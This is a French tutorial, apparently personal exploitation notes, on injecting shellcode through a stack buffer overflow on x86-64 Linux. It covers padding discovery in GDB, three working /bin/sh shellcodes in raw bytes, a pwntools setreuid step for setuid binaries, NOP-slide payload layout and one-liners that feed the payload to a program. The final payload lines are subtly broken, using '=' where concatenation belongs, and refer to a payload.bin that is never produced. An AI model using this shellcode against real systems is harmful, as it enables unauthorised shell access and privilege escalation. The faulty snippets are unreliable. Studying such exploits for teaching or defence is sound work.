ShellCode Injection
Pour l'injection de shellcode, les étapes sont relativement similaires au détournement de fonction.
Pour récupérer l'accès à une fonction, il nous faut :
- La taille du padding
- La longueur de l'adresse à injecter
- Un shellcode fonctionnel
- L'adresse du padding
Récupérer la taille du padding
Dans GDB, pour récupérer la taille du padding, nous allons le chercher par "force brute" en s'aidant de python :
- Si l'input est donné par un argument de la fonction :
run $(python -c "print('A' * <taille>)") - Si l'input est donné dans l'exécution du programme :
run < <(python -c "print('A' * <taille>)")
L'objectif est d'abord d'obtenir une erreur de segmentation Program received signal SIGSEGV, Segmentation fault.
Si la taille du buffer est connue, l'erreur de segmentation est généralement obtenue à la taille du buffer ou à taille +1.
Une fois le buffer rempli, nous devons réussir à écraser la mémoire de l'adresse retour.
Pour cela, nous allons chercher la taille du padding nécessaire pour écraser l'adresse mémoire.
[!NOTE] Généralement, l'adresse commence à être écrasée à buffer + 8
[!NOTE] S'il est possible de mettre un breakpoint (
b <emplacement du bp>) avant la fin d'exécution de la fonction, il est possible d'inspecter directement l'adresse retour en exécutantx/xg $rbp+8
L'adresse retour est celle indiquée sous l'erreur de segmentation par GDB :
Program received signal SIGSEGV, Segmentation fault.
0x0000555555550a41 in ?? ()
L'objectif devient de trouver la taille maximale de l'adresse qu'il est possible de rentrer avant que l'adresse ne soit plus celle souhaitée.
Pour cela, nous incrémentons la taille du padding jusqu'à ce que l'adresse retour ne soit plus composée de 41 (si le padding est composé de A).
Trouver un shellcode
Pour trouver un shellcode fonctionnel, il est pertinent de connaître l'architecture du système hôte et le contexte de la fonction que nous hijackons.
ExploitDB propose par exemple ces deux ShellCode pour /bin/sh linux en x86/64 :
- https://www.exploit-db.com/exploits/41750 :
\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05 - https://www.exploit-db.com/exploits/42179 :
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05
Toutefois, ces deux shellcodes ne fonctionneront pas toujours car ils ne disposent pas de fonction "retour".
Ce shellcode fixe ce problème : \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05 (40 chars)
Par ailleurs, certains BOF nécessitent d'exploiter un stickybit. Dans ce cas, il peut être nécessaire d'exploiter ce stickybit en générant un complément au shellcode :
pwn shellcraft -f d amd64.linux.setreuid <UID>
Il suffit de placer le shellcode généré devant le shellcode de notre /bin/sh.
Adresse du padding
Pour exécuter notre shellcode, nous allons créer un payload de la forme :
<NOP slide> + <ShellCode> + <NOP slide> + <Address>
L'adresse en question devra pointer vers la NOP slide de départ pour conduire à l'exécution du shellcode.
Pour cela, nous créons un premier payload pour déclencher l'overflow dans GDB de la forme :
<Padding> + <ShellCode> + <Padding>
Une fois l'overflow déclanché, nous exécutons x/100x $rsp-200 pour trouver l'adresse de la NOP slide :
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141 <--- start of the buffer
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a <--- start of the shellcode
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe2d8: 0x050fff31 0x41414141 0x41414141 0x41414141
0x7fffffffe2e8: 0x42424242 0x00004242 0xffffe3e8 0x00007fff
Nous récupérons une adresse pointant vers la NOP slide (un des 0x41) en prenant en compte qu'il peut y avoir des légers décalages mémoire entre les exécutions.
Par exemple 0x7fffffffe268.
Générer la charge
Nous générons ensuite notre payload :
<NOP slide> + <ShellCode> + <NOP slide> + <Address> (eg: print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>'))
Exploit
L'étape précédente génère un fichier payload.bin qui contient notre payload pour l'overflow. Nous pouvons l'utiliser de la façon suivante :
- Si l'input est donné par un argument de la fonction :
./<program> $(python -c "print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>')") - Si l'input est donné dans l'exécution du programme :
python -c "print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>')" | ./<program>